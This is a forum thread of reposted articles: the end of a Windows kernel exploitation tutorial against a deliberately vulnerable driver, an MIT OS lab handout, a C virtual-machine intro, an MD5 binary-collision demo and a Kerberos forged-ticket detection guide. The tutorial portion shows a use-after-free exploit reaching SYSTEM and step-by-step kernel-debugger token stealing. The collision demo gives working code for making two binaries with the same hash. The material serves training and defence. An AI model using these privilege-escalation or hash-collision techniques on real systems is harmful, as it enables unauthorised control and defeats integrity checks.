UNREFERENCED_PARAMETER(pIoStackIrp); PAGED_CODE(); status = FreeBuffer(); return status; } [/TD] [/TR] [/TABLE] view raw UseAfterFree.c hosted with <3 by GitHub [TABLE=class: lines highlight] [TR] [TD=class: line-numbers] 1 2 3 4 5 6 7 8 9 10 11 12 13 14[/TD] [TD=class: line-data] #ifndef __USE_AFTER_FREE_H__ #define __USE_AFTER_FREE_H__ #pragma once #include "Common.h" typedef struct _USE_AFTER_FREE { FunctionPointer pCallback; CHAR buffer[0x54]; } USE_AFTER_FREE, *PUSE_AFTER_FREE; typedef struct _FAKE_OBJECT { CHAR buffer[0x58]; } FAKE_OBJECT, *PFAKE_OBJECT; #endif [/TD] [/TR] [/TABLE] view raw UseAfterFree.h hosted with <3 by GitHub Below example demonstrates such an exploit, where we have the debugee/target running as Guest. To trigger the Use After free bug we will have to first allocate the vulnerable object on the Kernel Pool, free it and force the vulnerable program to use the freed object. Figure 18:Use After Free Object allocated. Waiting to free it. Following this, we free the objects to create holes. Finally, we fill all the freed chunks to take up the memory location where the vulnerable object was created. This takes some time as for the purpose of demonstration this was done around 100 times. We all reallocate the UaF object with a FakeObject. Figure 19: Free and reallocate UAF object Figure 19: Free and reallocate UAF object Meanwhile, the chunks have been filled by our/attacker controlled/fake object. If we look at the pool layout at this moment, then we can see that we have successfully reallocated the holes that we had created. Figure 21: All consecutive chunks filled with IoCo ensures memory was evenly sprayed Finally the code triggers the use of the freed UaF object and hence the bug. As per the exploit code it spawns a shell with SYSTEM privileges as shown below: Figure 22: Attacker code executes with SYSTEM privilege Token Stealing using Kernel Debugger Another interesting phenomenon that can be demonstrated using the Kernel flaws is privilege escalation using process tokens. In the below section we illustrate how an attacker can steal tokens from a higher or different privilege level and impersonate the same to elevate or change the privilege for another process. Using such vulnerabilities in the Kernel, any existing process can be given SYSTEM level privileges in spite of some of the known Kernel protections in place to avoid misuse such as ASLR, DEP, Safe SEH, SEHOP, etc. Below is a step by step illustration for the ‘Guest‘ user that represents the guest having Low privilege. We will use kernel debugging session to escalate the rights of a cmd.exe process from Administrator to SYSTEM. Use the debugger to find the current running processes and their attributes such as below- [TABLE=class: lines highlight] [TR] [TD=class: line-numbers] [/TD] [TD=class: line-data] PROCESS 8570b5e8 SessionId: 1 Cid: 025c Peb: 7ffdf000 ParentCid: 0704 DirBase: 3eea5340 ObjectTable: 953b8570 HandleCount: 21. Image: cmd.exe PROCESS 83dbb020 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000 DirBase: 00185000 ObjectTable: 87801c98 HandleCount: 481. Image: System [/TD] [/TR] [/TABLE] view raw token_stealing_1.raw hosted with <3 by GitHub For cmd.exe [TABLE=class: lines highlight] [TR] [TD=class: line-numbers] [/TD] [TD=class: line-data] kd> !process 8570b5e8 1 PROCESS 8570b5e8 SessionId: 1 Cid: 025c Peb: 7ffdf000 ParentCid: 0704 DirBase: 3eea5340 ObjectTable: 953b8570 HandleCount: 21. Image: cmd.exe VadRoot 8553ba60 Vads 37 Clone 0 Private 135. Modified 0. Locked 0. DeviceMap 92b1bc80 Token 953b6030 ElapsedTime 00:02:53.332 UserTime 00:00:00.000 . . . [/TD] [/TR] [/TABLE] view raw token_stealing_2.raw hosted with <3 by GitHub For SYSTEM [TABLE=class: lines highlight] [TR] [TD=class: line-numbers] [/TD] [TD=class: line-data] kd> !process 83dbb020 1 PROCESS 83dbb020 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000 DirBase: 00185000 ObjectTable: 87801c98 HandleCount: 481. Image: System VadRoot 84b33cd8 Vads 8 Clone 0 Private 4. Modified 67365. Locked 64. DeviceMap 87808a38 Token 878013e0 ElapsedTime <Invalid> UserTime 00:00:00.000 . . . [/TD] [/TR] [/TABLE] view raw token_stealing_3.raw hosted with <3 by GitHub Now that we know the token for the system process, we can switch to the cmd.exe process and find the location for the token for this process. [TABLE=class: lines highlight] [TR] [TD=class: line-numbers] [/TD] [TD=class: line-data] kd> .process /i 8570b5e8 You need to continue execution (press 'g' <enter>) for the context to be switched. When the debugger breaks in again, you will be in the new process context. kd> g Break instruction exception - code 80000003 (first chance) nt!RtlpBreakWithStatusInstruction: 826c0110 cc int 3 kd> dg @fs P Si Gr Pr Lo Sel Base Limit Type l ze an es ng Flags ---- -------- -------- ---------- - -- -- -- -- -------- 0030 82770c00 00003748 Data RW Ac 0 Bg By P Nl 00000493 kd> !pcr KPCR for Processor 0 at 82770c00: Major 1 Minor 1 NtTib.ExceptionList: 88a573ac NtTib.StackBase: 00000000 NtTib.StackLimit: 00000000 NtTib.SubSystemTib: 801da000 NtTib.Version: 0001c7c1 NtTib.UserPointer: 00000001 NtTib.SelfTib: 00000000 SelfPcr: 82770c00 Prcb: 82770d20 . . . [/TD] [/TR] [/TABLE] view raw token_stealing_4.raw hosted with <3 by GitHub Get the structure at KPCR from the address found above [TABLE=class: lines highlight] [TR] [TD=class: line-numbers] [/TD] [TD=class: line-data] kd> dt nt!_KPCR 82770c00 +0x000 NtTib : _NT_TIB +0x000 Used_ExceptionList : 0x88a573ac _EXCEPTION_REGISTRATION_RECORD . . . +0x0d8 Spare1 : 0 '' +0x0dc KernelReserved2 : [17] 0 +0x120 PrcbData : _KPRCB [/TD] [/TR] [/TABLE] view raw token_stealing_5.raw hosted with <3 by GitHub Get address of CurrentThread member (KTHREAD) at the +0x120 Offset [TABLE=class: lines highlight] [TR] [TD=class: line-numbers] 1 2 3 4 5 6 7 8 9 10[/TD] [TD=class: line-data] kd> dt nt!_KPRCB 82770c00+0x120 +0x000 MinorVersion : 1 +0x002 MajorVersion : 1 +0x004 CurrentThread : 0x83dcd020 _KTHREAD +0x008 NextThread : (null) +0x00c IdleThread : 0x8277a380 _KTHREAD +0x010 LegacyNumber : 0 '' +0x011 NestingLevel : 0 '' . . . +0x3620 ExtendedState : 0x807bf000 _XSAVE_AREA [/TD] [/TR] [/TABLE] view raw token_stealing_6.raw hosted with <3 by GitHub Get address of ApcState member (KAPC_STATE). It contains a pointer to KPROCESS [TABLE=class: lines highlight] [TR] [TD=class: line-numbers] 1 2 3 4 5 6 7 8 9 10[/TD] [TD=class: line-data] kd> dt nt!_KTHREAD 0x83dcd020 +0x000 Header : _DISPATCHER_HEADER . . . +0x03c SystemThread : 0y1 +0x03c Reserved : 0y000000000000000000 (0) +0x03c MiscFlags : 0n8193 +0x040 ApcState : _KAPC_STATE +0x040 ApcStateFill : [23] "`???" +0x057 Priority : 12 '' . . . [/TD] [/TR] [/TABLE] view raw token_stealing_7.raw hosted with <3 by GitHub Get address of Process member (KPROCESS). It contains the Token value and is at an offset +0x40 from the KTHREAD base address. [TABLE=class: lines highlight] [TR] [TD=class: line-numbers] 1 2 3 4 5 6[/TD] [TD=class: line-data] kd> dt nt!_KAPC_STATE 0x83dcd020+0x40 +0x000 ApcListHead : [2] _LIST_ENTRY [ 0x83dcd060 - 0x83dcd060 ] +0x010 Process : 0x8570b5e8 _KPROCESS +0x014 KernelApcInProgress : 0 '' +0x015 KernelApcPending : 0 '' +0x016 UserApcPending : 0 '' [/TD] [/TR] [/TABLE] view raw token_stealing_8.raw hosted with <3 by GitHub Figure 23: KAPC List Entry Get Token member offset from EPROCESS structure. KPROCESS is the first structure of EPROCESS [TABLE=class: lines highlight] [TR] [TD=class: line-numbers] 1 2 3 4 5 6 7 8 9[/TD] [TD=class: line-data] kd> dt nt!_EPROCESS 0x8570b5e8 +0x000 Pcb : _KPROCESS +0x098 ProcessLock : _EX_PUSH_LOCK . . . +0x0f4 ObjectTable : 0x953b8570 _HANDLE_TABLE +0x0f8 Token : _EX_FAST_REF +0x0fc WorkingSetPage : 0xb2b3 +0x100 AddressCreationLock : _EX_PUSH_LOCK . . . [/TD] [/TR] [/TABLE] view raw token_stealing_9.raw hosted with <3 by GitHub Get Token value [TABLE=class: lines highlight] [TR] [TD=class: line-numbers] 1 2 3 4[/TD] [TD=class: line-data] kd> dt nt!_EX_FAST_REF 0x8570b5e8+f8 +0x000 Object : 0x953b6037 Void +0x000 RefCnt : 0y111 +0x000 Value : 0x953b6037 [/TD] [/TR] [/TABLE] view raw token_stealing_10.raw hosted with <3 by GitHub Actual Token value by ANDing last 3 bits to 0 = 0x953b6037 >> 0x953b6030 Now replace the current process token with SYSTEM token. [TABLE=class: lines highlight] [TR] [TD=class: line-numbers] 1[/TD] [TD=class: line-data] kd> ed 0x8570b5e8+f8 878013e0 [/TD] [/TR] [/TABLE] view raw token_stealing_11.raw hosted with <3 by GitHub Figure 24: Token value replaced Soon as we replace the token we are assigned the SYSTEM token and the privileges that come with it. The same was verified as below in the victim machine: Figure 25: Escalating from Guest to System privilege using Token Stealing Figure 26: An example: Local privilege escalation using token stealing from Guest Sursa: http://null.co.in/2015/05/07/windows-kernel-exploitation-hacksys-extreme-vulnerable-driver/
-
Lab 1: Booting a PC Handed out Wednesday, September 3, 2014 Due Thursday, September 11, 2014 Introduction This lab is split into three parts. The first part concentrates on getting familiarized with x86 assembly language, the QEMU x86 emulator, and the PC's power-on bootstrap procedure. The second part examines the boot loader for our 6.828 kernel, which resides in the boot directory of the lab tree. Finally, the third part delves into the initial template for our 6.828 kernel itself, named JOS, which resides in the kernel directory. Software Setup The files you will need for this and subsequent lab assignments in this course are distributed using the Git version control system. To learn more about Git, take a look at the Git user's manual, or, if you are already familiar with other version control systems, you may find this CS-oriented overview of Git useful. The URL for the course Git repository is Index of /6.828/2014-jos.git. To install the files in your Athena account, you need to clone the course repository, by running the commands below. You must use an i386 Athena machine; that is, uname -a should mention i386 GNU/Linux or i686 GNU/Linux. You can log into a public i386 Athena host with ssh -X athena.dialup.mit.edu. athena% mkdir ~/6.828 athena% cd ~/6.828 athena% add git athena% git clone Index of /6.828/2014-jos.git lab Cloning into lab... athena% cd lab athena% Git allows you to keep track of the changes you make to the code. For example, if you are finished with one of the exercises, and want to checkpoint your progress, you can commit your changes by running: athena% git commit -am 'my solution for lab1 exercise 9' Created commit 60d2135: my solution for lab1 exercise 9 1 files changed, 1 insertions(+), 0 deletions(-) athena% You can keep track of your changes by using the git diff command. Running git diff will display the changes to your code since your last commit, and git diff origin/lab1 will display the changes relative to the initial code supplied for this lab. Here, origin/lab1 is the name of the git branch with the initial code you downloaded from our server for this assignment. We have set up the appropriate compilers and simulators for you on Athena. To use them, run add -f 6.828. You must run this command every time you log in (or add it to your ~/.environment file). If you get obscure errors while compiling or running qemu, double check that you added the course locker. If you are working on a non-Athena machine, you'll need to install qemu and possibly gcc following the directions on the tools page. We've made several useful debugging changes to qemu and some of the later labs depend on these patches, so you must build your own. If your machine uses a native ELF toolchain (such as Linux and most BSD's, but notably not OS X), you can simply install gcc from your package manager. Otherwise, follow the directions on the tools page. Hand-In Procedure You will turn in your assignments using the submission website. You need to request an API key from the submission website before you can turn in any assignments or labs. The lab code comes with GNU Make rules to make submission easier. After commiting your final changes to the lab, type make handin to submit your lab. athena% git commit -am "ready to submit my lab" [lab1 c2e3c8b] ready to submit my lab 2 files changed, 18 insertions(+), 2 deletions(-) athena% make handin git archive --prefix=lab1/ --format=tar HEAD | gzip > lab1-handin.tar.gz Get an API key for yourself by visiting https://ccutler.scripts.mit.edu/6.828/handin.py Please enter your API key: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 50199 100 241 100 49958 414 85824 --:--:-- --:--:-- --:--:-- 85986 athena% make handin will store your API key in myapi.key. If you need to change your API key, just remove this file and let make handin generate it again (myapi.key must not include newline characters). In the case that make handin does not work properly, try fixing the problem with the curl or Git commands. Or you can run make tarball. This will make a tar file for you, which you can then upload via our web interface. For Lab 1, you do not need to turn in answers to any of the questions below. (Do answer them for yourself though! They will help with the rest of the lab.) We will be grading your solutions with a grading program. You can run make grade to test your solutions with the grading program. Part 1: PC Bootstrap The purpose of the first exercise is to introduce you to x86 assembly language and the PC bootstrap process, and to get you started with QEMU and QEMU/GDB debugging. You will not have to write any code for this part of the lab, but you should go through it anyway for your own understanding and be prepared to answer the questions posed below. Getting Started with x86 assembly If you are not already familiar with x86 assembly language, you will quickly become familiar with it during this course! The PC Assembly Language Book is an excellent place to start. Hopefully, the book contains mixture of new and old material for you. Warning: Unfortunately the examples in the book are written for the NASM assembler, whereas we will be using the GNU assembler. NASM uses the so-called Intel syntax while GNU uses the AT&T syntax. While semantically equivalent, an assembly file will differ quite a lot, at least superficially, depending on which syntax is used. Luckily the conversion between the two is pretty simple, and is covered in Brennan's Guide to Inline Assembly. Exercise 1. Familiarize yourself with the assembly language materials available on the 6.828 reference page. You don't have to read them now, but you'll almost certainly want to refer to some of this material when reading and writing x86 assembly. We do recommend reading the section "The Syntax" in Brennan's Guide to Inline Assembly. It gives a good (and quite brief) description of the AT&T assembly syntax we'll be using with the GNU assembler in JOS. Certainly the definitive reference for x86 assembly language programming is Intel's instruction set architecture reference, which you can find on the 6.828 reference page in two flavors: an HTML edition of the old 80386 Programmer's Reference Manual, which is much shorter and easier to navigate than more recent manuals but describes all of the x86 processor features that we will make use of in 6.828; and the full, latest and greatest IA-32 Intel Architecture Software Developer's Manuals from Intel, covering all the features of the most recent processors that we won't need in class but you may be interested in learning about. An equivalent (and often friendlier) set of manuals is available from AMD. Save the Intel/AMD architecture manuals for later or use them for reference when you want to look up the definitive explanation of a particular processor feature or instruction. Articol complet: http://pdos.csail.mit.edu/6.828/2014/labs/lab1/
-
[h=1]Implementing a Virtual Machine in C[/h] 07 May 2015 [h=4]Introduction[/h] Here's the GitHub to show what we'll be making, you can also compare your code to this repository in case you have errors. GitHub Repository I thought I would write an article about building your very own virtual machine in the C programming language. I love working on "lower level" applications such as compilers, interpreters and virtual machines. I also love talking about them too. I have another series (that is in the works) on writing an interpreted language in Go. I'm also working on my own compiled programming language Alloy. [h=4]Prerequisites & Notices[/h] There are a few things that you need before we can continue: A C compiler — I'm using clang 3.4, but you can use anything with c99/c11 support; Text Editor — I would suggest a text editor over an IDE, I'll be using Emacs; Basic programming language knowledge — Just the basics, like variables, flow control, functions, structures, etc. Make — Just to make building our program a little quicker [h=4]Why should I write a Virtual Machine?[/h] Here are some reasons why you should write a virtual machine: You want a deeper understanding of how computers work. This article will help you understand what your computer does at a lower level, a virtual machine provides a nice simpler layer of abstraction. And there's no better way to learn than build one, right? You want to learn more about how some programming languages work. For instance, various languages nowadays target virtual machines - usually written specifically for the language. Examples include the JVM, Lua's VM, Facebook's Hip-Hop VM (PHP/Hack), etc. You just want to learn about virtual machines because it's fun. Articol complet: Implementing a Virtual Machine in C
-
How to make two binaries with the same MD5 hash One question I was asked when I demo'd creating two PHP files with the same hash is; does it work on compiled binaries? Well the answer is yes in fact that is where I first got the idea from, in this demo. That example uses a C program as both the target and also to do the binary manipulation, which slightly of obscures the way it works. It also makes use of an old very slow implementation on the Wang attack to generate the collisions. To better and more quickly show how it works for an upcoming talk I have created a really simple example using a PHP script to manipulate a binary once compiled. I have put all the code used here on github. Below is the super simple C program it compares two strings and if they don't match it prints out an ASCII art picture of an angel. If they do match you get a picture of a devil. [TABLE=class: lines highlight] [TR] [TD=class: line-numbers] [/TD] [TD=class: line-data] #include <string.h> #include <stdio.h> #define DUMMY "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" int angel(); int devil(); char *dummya = DUMMY "A"; char *dummyb = DUMMY "B"; int main() { if (strcmp(dummya, dummyb) != 0) { return angel(); } else { return devil(); } } int angel() { fprintf(stdout, ". ,\n"); fprintf(stdout, ")). -===- ,((\n"); fprintf(stdout, "))). ,(((\n"); fprintf(stdout, "))))). .:::. ,((((((\n"); fprintf(stdout, "))))))))). :. .: ,(((((((('\n"); fprintf(stdout, "`))))))))))). : - : ,((((((((((((\n"); fprintf(stdout, "))))))))))))))))_:' ':_((((((((((((((('\n"); fprintf(stdout, " `)))))))))))).-' \\___/ '-._(((((((((((\n"); fprintf(stdout, " `))))_._.-' __)( )(_ '-._._(((('\n"); fprintf(stdout, " `))'---)___)))'\\_ _/'((((__(---'(('\n"); fprintf(stdout, " `))))))))))))|' '|(((((((((((('\n"); fprintf(stdout, " `)))))))))/' '\\((((((((('\n"); fprintf(stdout, " `)))))))| |((((((('\n"); fprintf(stdout, " `))))))| |(((((('\n"); fprintf(stdout, " /' '\\\n"); fprintf(stdout, " /' '\\\n"); fprintf(stdout, " /' '\\\n"); fprintf(stdout, " /' '\\\n"); fprintf(stdout, " '---..___..---'\\\n"); return 0; } int devil() { fprintf(stdout, " _.---**""**-.\n"); fprintf(stdout, "._ .-' /|`.\n"); fprintf(stdout, " \\`.' / | `.\n"); fprintf(stdout, " V ( ; \\\n"); fprintf(stdout, " L _.- -. `' \\\n"); fprintf(stdout, " / `-. _.' \\ ;\n"); fprintf(stdout, ": __ ; _ |\n"); fprintf(stdout, ":`-.___.+-*\"': ` ; .' `. |\n"); fprintf(stdout, " |`-/ `--*' / / /`.\\|\n"); fprintf(stdout, ": : \\ :`.| ;\n"); fprintf(stdout, "| | . ;/ .' ' /\n"); fprintf(stdout, ": : / ` :__.'\n"); fprintf(stdout, " \\`._.-' / |\n"); fprintf(stdout, " : ) : ;\n"); fprintf(stdout, " :----.._ | /\n"); fprintf(stdout, " : .-. `. /\n"); fprintf(stdout, " \\ `._ /\n"); fprintf(stdout, " /`- /\n"); fprintf(stdout, " : .'\n"); fprintf(stdout, " \\ ) .-'\n"); fprintf(stdout, " `-----*\"'\n"); return 0; } [/TD] [/TR] [/TABLE] view raw demo.c hosted with ? by GitHub It can be compiled with gcc and executed simply by doing [TABLE] [TR] [TD=class: gutter]1 2 3[/TD] [TD=class: code]longEgg$ gcc -o demo ./demo.c longEgg$ chmod a+x demo longEgg$ ./demo [/TD] [/TR] [/TABLE] Executing the program will print out the angel since the two strings differ in the last letter. Now we have our compiled binary we need to do a bit of mucking about with it. What we are going to do is insert a MD5 collision into the long string of A's of the dummy text. We only need to insert two blocks of 64 bytes but we need to insert it at the beginning of a block i.e. when the byte length is a multiple of 64 bytes. [TABLE=class: lines highlight] [TR] [TD=class: line-numbers] [/TD] [TD=class: line-data] <?php include __DIR__.'/MD5.php'; $inFile = __DIR__.'/demo'; $dummyText = str_pad('', 64, 'A'); function replaceDummyText($input, $replacment, $position) { return substr_replace($input, $replacment, $position, strlen($replacment)); } function findDummyText($filestring, $dummyText) { $pos = 0; $chunks = str_split($filestring, 64); foreach ($chunks as $chunk) { if ($chunk == $dummyText) { break 1; } $pos++; } return $pos*64; } // read in the original binary file in $filestring = file_get_contents($inFile); // find the place where we have the dummy string and its at start of a 64 byte block $pos = findDummyText($filestring, $dummyText); printf('I want to replace %d bytes at position %d in %s'.PHP_EOL, 128, $pos, $inFile); $firstPart = substr($filestring, 0, $pos); //find the IV up to the point we want to insert then print that out $iv = md5_hash($firstPart); printf('Chaining variable up to that point is %s'.PHP_EOL, $iv); if (!file_exists(__DIR__.'/a')) { print('Run fastcoll to generate a 2 block collision in MD5'.PHP_EOL); return; } // replace the dummy text at the correct location $good = replaceDummyText($filestring, file_get_contents(__DIR__.'/a'), $pos); $bad = replaceDummyText($filestring, file_get_contents(__DIR__.'/b'), $pos); // find the secod dummy string $secondDummyTextStart = strpos($good, str_pad('', 191, 'A')); // serach back from where we inserted the collision first time so we can grab the whole // 192 bytes and use it to replace the second string while ('A' == substr($filestring, $pos-1, 1)) { --$pos; } //the 192 butes of str1 $replacement = substr($good, $pos, 192); // replace str1 with 192 bytes cut from of the files // the file it came from will then compare str1 and str2 to 0 $good = replaceDummyText($good, $replacement, $secondDummyTextStart); file_put_contents(__DIR__.'/devil', $good); printf('Just output new file %s with hash %s'.PHP_EOL, __DIR__.'/devil', md5($good)); $bad = replaceDummyText($bad, $replacement, $secondDummyTextStart); file_put_contents(__DIR__.'/angel', $bad); printf('Just output new file %s with hash %s'.PHP_EOL, __DIR__.'/angel', md5($bad)); [/TD] [/TR] [/TABLE] view raw long_egg.php hosted with ? by GitHub When we run the php script over it the first time it finds such a location and calculates the value of the four chaining variables of MD5 at that point in the file. It prints out the hex values concatenated together as a hash. We can now take that value and search for an MD5 collision with that initial state. The best MD5 collision finder is Marc Stevens fastcoll. It can typically find collisions in a couple of seconds using a a variant of the Wang attack. After downloading it you will need to compile it. There should be a Makefile for it in the code on github. Running it specifying the initial state and output files is shown below. [TABLE] [TR] [TD=class: gutter]1 2 3 4 5[/TD] [TD=class: code]longEgg$ wget https://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5-1_source.zip longEgg$ unzip fastcoll_v1.0.0.5-1_source.zip longEgg$ make longEgg$ chmod a+x fastcoll longEgg$./fastcoll -i c15cfe39c40e47f5b8ae31e6658fd1bd -o a b [/TD] [/TR] [/TABLE] The -o option specifies the output files and so will create two new files a and b which contain 2 blocks of binary data. These blocks only work as MD5 collisions within the binary at that point. Running the php script for a second time will create two copies of the original compiled binary with the collisions inserted in the appropriate places. [TABLE] [TR] [TD=class: gutter]1 2 3 4[/TD] [TD=class: code]longEgg$ I want to replace 128 bytes at position 6528 in colliding_binaries/demo longEgg$ Chaining variable up to that point is c15cfe39c40e47f5b8ae31e6658fd1bd longEgg$ Just output new file /Users/nmchugh/longEgg/devil with hash dea9dc288b6c56626997ce86ca8eb6da longEgg$ Just output new file /Users/nmchugh/longEgg/angel with hash dea9dc288b6c56626997ce86ca8eb6da [/TD] [/TR] [/TABLE] So now we have created two more files angel and devil. Running each of those should give different outputs. But they should have the same MD5 value. [TABLE] [TR] [TD=class: gutter]1 2 3 [/TD] [TD=class: code]longEgg$ md5 angel devil MD5 (angel) = dea9dc288b6c56626997ce86ca8eb6da MD5 (devil) = dea9dc288b6c56626997ce86ca8eb6da [/TD] [/TR] [/TABLE] Posted by Nathaniel McHugh at 1:38 PM Sursa: http://natmchugh.blogspot.co.uk/2015/05/how-to-make-two-binaries-with-same-md5.html
-
Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory by Sean Metcalf Over the last 6 months, I have been researching forged Kerberos tickets, specifically Golden Tickets, Silver Tickets, and TGTs generated by MS14-068 exploit code (a type of Golden Ticket). I generated forged Kerberos tickets using Mimikatz and MS14-068 exploits and logged the results. Over the course of several weeks, I identified anomalies in the event logs that are clear indication of forged ticket use in an Active Directory environment. Kerberos Overview & Communication Process: User logs on with username & password. 1a. Password converted to NTLM hash, a timestamp is encrypted with the hash and sent to the KDC as an authenticator in the authentication ticket (TGT) request (AS-REQ). 1b. The Domain Controller (KDC) checks user information (logon restrictions, group membership, etc) & creates Ticket-Granting Ticket (TGT). 2. The TGT is encrypted, signed, & delivered to the user (AS-REP). Only the Kerberos service (KRBTGT) in the domain can open and read TGT data. 3. The User presents the TGT to the DC when requesting a Ticket Granting Service (TGS) ticket (TGS-REQ). The DC opens the TGT & validates PAC checksum – If the DC can open the ticket & the checksum check out, TGT = valid. The data in the TGT is effectively copied to create the TGS ticket. 4. The TGS is encrypted using the target service accounts’ NTLM password hash and sent to the user (TGS-REP). 5.The user connects to the server hosting the service on the appropriate port & presents the TGS (AP-REQ). The service opens the TGS ticket using its NTLM password hash. 6. If mutual authentication is required by the client (think MS15-011: the Group Policy patch from February that added UNC hardening). Unless PAC validation is required (rare), the service accepts all data in the TGS ticket with no communication to the DC. Active Directory Kerberos Key Points: Microsoft uses the NTLM password hash for Kerberos RC4 encryption. Kerberos policy is only checked when the TGT is created & the TGT is the user authenticator to the DC. The DC only checks the user account after the TGT is 20 minutes old to verify the account is valid or enabled. TGS PAC Validation only occurs in specific circumstances. When it does, LSASS on the server sends the PAC Validation request to the DC’s netlogon service (using NRPC) If it runs as a service, PAC validation is optional (disabled). If a service runs as System, it performs server signature verification on the PAC (computer account long-term key). Forging Kerberos Tickets: Forging Kerberos tickets depends on the password hash available to the attacker Golden Ticket requires the KRBTGT password hash. Silver ticket requires the Service Account (either the computer account or user account) password hash. Create anywhere and user anywhere on the network, without elevated rights. Spoof access without modifying AD groups. Once the KRBTGT account password is disclosed, the only way to prevent Golden Tickets is to change the KRBTGT password twice, since the current and previous passwords are kept for this account. Golden Tickets: Golden Tickets are forged Ticket-Granting Tickets (TGTs), also called authentication tickets. As shown in the following graphic, there is no AS-REQ or AS-REP (steps 1 & 2) communication with the Domain Controller. Since a Golden Ticket is a forged TGT, it is sent to the Domain Controller as part of the TGS-REQ to get a service ticket. The Kerberos Golden Ticket is a valid TGT Kerberos ticket since it is encrypted/signed by the domain Kerberos account (KRBTGT). The TGT is only used to prove to the KDC service on the Domain Controller that the user was authenticated by another Domain Controller. The fact that the TGT is encrypted by the KRBTGT password hash and can be decrypted by any KDC service in the domain proves it is valid. Golden Ticket Requirements: * Domain Name [AD PowerShell module: (Get-ADDomain).DNSRoot] * Domain SID [AD PowerShell module: (Get-ADDomain).DomainSID.Value] * Domain KRBTGT Account NTLM password hash * UserID for impersonation. The Domain Controller KDC service doesn’t validate the user account in the TGT until the TGT is older than 20 minutes old, which means the attacker can use a disabled/deleted account or even a fictional account that doesn’t exist in Active Directory. Microsoft’s MS-KILE specification (section 5.1.3 ): “Kerberos V5 does not provide account revocation checking for TGS requests, which allows TGT renewals and service tickets to be issued as long as the TGT is valid even if the account has been revoked. KILE provides a check account policy (section 3.3.5.7.1) that limits the exposure to a shorter time. KILE KDCs in the account domain are required to check accounts when the TGT is older than 20 minutes. This limits the period that a client can get a ticket with a revoked account while limiting the performance cost for AD queries.” Since the domain Kerberos policy is set on the ticket when generated by the KDC service on the Domain Controller, when the ticket is provided, systems trust the ticket validity. This means that even if the domain policy states a Kerberos logon ticket (TGT) is only valid for 10 hours, if the ticket states it is valid for 10 years, it is accepted as such. The KRBTGT account password is never changed* and the attacker can create Golden Tickets until the KRBTGT password is changed (twice). Note that a Golden Ticket created to impersonate a user persists even if the impersonated user changes their password. It bypasses SmartCard authentication requirement since it bypasses the usual checks the DC performs before creating the TGT. This crafted TGT requires an attacker to have the Active Directory domain’s KRBTGT password hash (typically dumped from a Domain Controller). The KRBTGT NTLM hash can be used to generate a valid TGT (using RC4) to impersonate any user with access to any resource in Active Directory. The Golden Ticket (TGT) be generated and used on any machine, even one not domain-joined. Used to get valid TGS tickets from DCs in the AD forest and provides a great method of persisting on a domain with access to EVERYTHING! Mitigation: Limit Domain Admins from logging on to any other computers other than Domain Controllers and a handful of Admin servers (don’t let other admins log on to these servers) Delegate all other rights to custom admin groups. This greatly reduces the ability of an attacker to gain access to a Domain Controller’s Active Directory database. If the attacker can’t access the AD database (ntds.dit file), they can’t get the KRBTGT account NTLM password hash. Silver Tickets: Silver Tickets are forged Ticket Granting Service tickets, also called service tickets. As shown in the following graphic, there is no AS-REQ / AS-REP (steps 1 & 2) and no TGS-REQ / TGS-REP (steps 3 & 4) communication with the Domain Controller. Since a Silver Ticket is a forged TGS, there is no communication with a Domain Controller. Alluded to at BlackHat during the “Golden Ticket” presentation (Duckwall/Delpy) and discussed partly during Tim Medin’s DerbyCon 2014 talk. Skip & Benjamin have provided additional information on Silver Tickets since, but confusion remains. The Kerberos Silver Ticket is a valid Ticket Granting Service (TGS) Kerberos ticket since it is encrypted/signed by the service account configured with a Service Principal Name for each server the Kerberos-authenticating service runs on. While a Golden ticket is a forged TGT valid for gaining access to any Kerberos service, the silver ticket is a forged TGS. This means the Silver Ticket scope is limited to whatever service is targeted on a specific server. While a Golden ticket is encrypted/signed with the domain Kerberos service account (KRBTGT), a Silver Ticket is encrypted/signed by the service account (computer account credential extracted from the computer’s local SAM or service account credential). Most services don’t validate the PAC (by sending the PAC checksum to the Domain Controller for PAC validation), so a valid TGS generated with the service account password hash can include a PAC that is entirely fictitious – even claiming the user is a Domain Admin without challenge or correction. The attacker needs the service account password hash TGS is forged, so no associated TGT, meaning the DC is never contacted. Any event logs are on the targeted server. In my opinion, Silver Tickets can be more dangerous than Golden Tickets – while the scope is more limited than Golden Tickets, the required hash is easier to get and there is no communication with a DC when using them, so detection is more difficult than Golden Tickets Detecting Forged Kerberos Tickets: Most logon & logoff events include the following detail. Normal, valid account logon event data structure: Security ID: DOMAIN\AccountID Account Name: AccountID Account Domain: DOMAIN I discovered that the domain field in many events in the Windows security event log are not properly populated when forged Kerberos tickets are used. The key indicator is that the domain field is blank or contains the FQDN instead of the short (netbios) name. The likely reason for the anomalies is that third party tools that create Kerberos tickets (TGT & TGS) don’t format the tickets exactly the same way as Windows does. The following includes some of the events I have identified that are logged when forged Kerberos tickets are used. Note that Silver Ticket events could be logged on any computer in the AD domain depending on what the target is, workstations, member servers, or Domain Controllers. Golden Tickets and MS14-068 exploit tickets, all of which are TGTs, will have events logged on the Domain Controller. NOTE: As of 4/16/2015: Mimikatz generated tickets may include the string “eo.oe.kiwi” in the domain field. SILVER TICKET DETECTION Silver Ticket events may have one of these issues: The Account Domain field is blank when it should be DOMAIN The Account Domain field is DOMAIN FQDN when it should be DOMAIN. Event ID: 4624 (Account Logon) Account Domain is FQDN & should be short domain name Account Domain: LAB.ADSECURITY.ORG [ADSECLAB] Event ID: 4634 (Account Logoff) Account Domain is blank & should be short domain name Account Domain: _______________ [ADSECLAB] Event ID: 4672 (Admin Logon) Account Domain is blank & should be short domain name Account Domain: _______________ [ADSECLAB] GOLDEN TICKET DETECTION Golden Ticket events may have one of these issues: The Account Domain field is blank when it should be DOMAIN The Account Domain field is DOMAIN FQDN when it should be DOMAIN. Event ID: 4624 (Account Logon) Account Domain is FQDN & should be short domain name Account Domain: 